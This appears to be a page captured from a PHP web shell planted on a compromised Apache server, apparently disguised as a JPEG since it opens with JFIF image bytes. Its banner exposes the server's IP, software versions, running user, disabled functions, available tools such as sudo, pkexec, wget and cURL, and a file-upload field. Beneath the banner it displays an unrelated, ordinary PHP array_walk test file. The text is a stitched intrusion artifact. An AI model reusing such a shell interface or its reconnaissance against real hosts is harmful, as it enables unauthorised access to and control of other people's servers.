????JFIF??x?x????'
Server IP : 79.136.114.73 / Your IP : 3.135.204.121 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /proc/self/root/home/b8009/php-5.6.22/ext/standard/tests/array/ |
Upload File : |
--TEST-- array_walk() closure tests --FILE-- <?php var_dump(array_walk()); $ar = false; var_dump(array_walk($ar, $ar)); $ar = NULL; var_dump(array_walk($ar, $ar)); $ar = ["one" => 1, "two"=>2, "three" => 3]; var_dump(array_walk($ar, function(){ var_dump(func_get_args());})); echo "\nclosure with array\n"; $ar = ["one" => 1, "two"=>2, "three" => 3]; $user_data = ["sum" => 42]; $func = function($value, $key, &$udata) { var_dump($udata); $udata["sum"] += $value; }; var_dump(array_walk($ar, $func, $user_data)); echo "End result:"; var_dump($user_data["sum"]); echo "\nclosure with use\n"; $ar = ["one" => 1, "two"=>2, "three" => 3]; $user_data = ["sum" => 42]; $func = function($value, $key) use (&$user_data) { var_dump($user_data); $user_data["sum"] += $value; }; var_dump(array_walk($ar, $func, $user_data)); echo "End result:"; var_dump($user_data["sum"]); echo "\nclosure with object\n"; $ar = ["one" => 1, "two"=>2, "three" => 3]; $user_data = (object)["sum" => 42]; $func = function($value, $key, &$udata) { var_dump($udata); $udata->sum += $value; }; var_dump(array_walk($ar, $func, $user_data)); echo "End result:"; var_dump($user_data->sum); echo "\nfunction with object\n"; function sum_it_up_object($value, $key, $udata) { var_dump($udata); $udata->sum += $value; } $ar = ["one" => 1, "two"=>2, "three" => 3]; $user_data = (object)["sum" => 42]; var_dump(array_walk($ar, "sum_it_up_object", $user_data)); echo "End result:"; var_dump($user_data->sum); echo "\nfunction with array\n"; function sum_it_up_array($value, $key, $udata) { var_dump($udata); $udata['sum'] += $value; } $ar = ["one" => 1, "two"=>2, "three" => 3]; $user_data = ["sum" => 42]; var_dump(array_walk($ar, "sum_it_up_array", $user_data)); echo "End result:"; var_dump($user_data['sum']); echo "\nclosure and exception\n"; $ar = ["one" => 1, "two"=>2, "three" => 3]; try { var_dump(array_walk($ar, function($v, $k) { if ($v == 2) throw new Exception; } )); } catch (Exception $e) { var_dump($e->getTrace()); } echo "Done\n"; ?> --EXPECTF-- Warning: array_walk() expects at least 2 parameters, 0 given in %s on line %d NULL Warning: array_walk() expects parameter 1 to be array, boolean given in %s on line %d NULL Warning: array_walk() expects parameter 1 to be array, null given in %s on line %d NULL array(2) { [0]=> int(1) [1]=> string(3) "one" } array(2) { [0]=> int(2) [1]=> string(3) "two" } array(2) { [0]=> int(3) [1]=> string(5) "three" } bool(true) closure with array array(1) { ["sum"]=> int(42) } array(1) { ["sum"]=> int(43) } array(1) { ["sum"]=> int(45) } bool(true) End result:int(42) closure with use array(1) { ["sum"]=> int(42) } array(1) { ["sum"]=> int(43) } array(1) { ["sum"]=> int(45) } bool(true) End result:int(48) closure with object object(stdClass)#1 (1) { ["sum"]=> int(42) } object(stdClass)#1 (1) { ["sum"]=> int(43) } object(stdClass)#1 (1) { ["sum"]=> int(45) } bool(true) End result:int(48) function with object object(stdClass)#2 (1) { ["sum"]=> int(42) } object(stdClass)#2 (1) { ["sum"]=> int(43) } object(stdClass)#2 (1) { ["sum"]=> int(45) } bool(true) End result:int(48) function with array array(1) { ["sum"]=> int(42) } array(1) { ["sum"]=> int(42) } array(1) { ["sum"]=> int(42) } bool(true) End result:int(42) closure and exception array(2) { [0]=> array(2) { ["function"]=> string(9) "{closure}" ["args"]=> array(2) { [0]=> int(2) [1]=> string(3) "two" } } [1]=> array(4) { ["file"]=> string(%d) "%s" ["line"]=> int(%d) ["function"]=> string(10) "array_walk" ["args"]=> array(2) { [0]=> &array(3) { ["one"]=> int(1) ["two"]=> int(2) ["three"]=> int(3) } [1]=> object(Closure)#2 (1) { ["parameter"]=> array(2) { ["$v"]=> string(10) "<required>" ["$k"]=> string(10) "<required>" } } } } } Done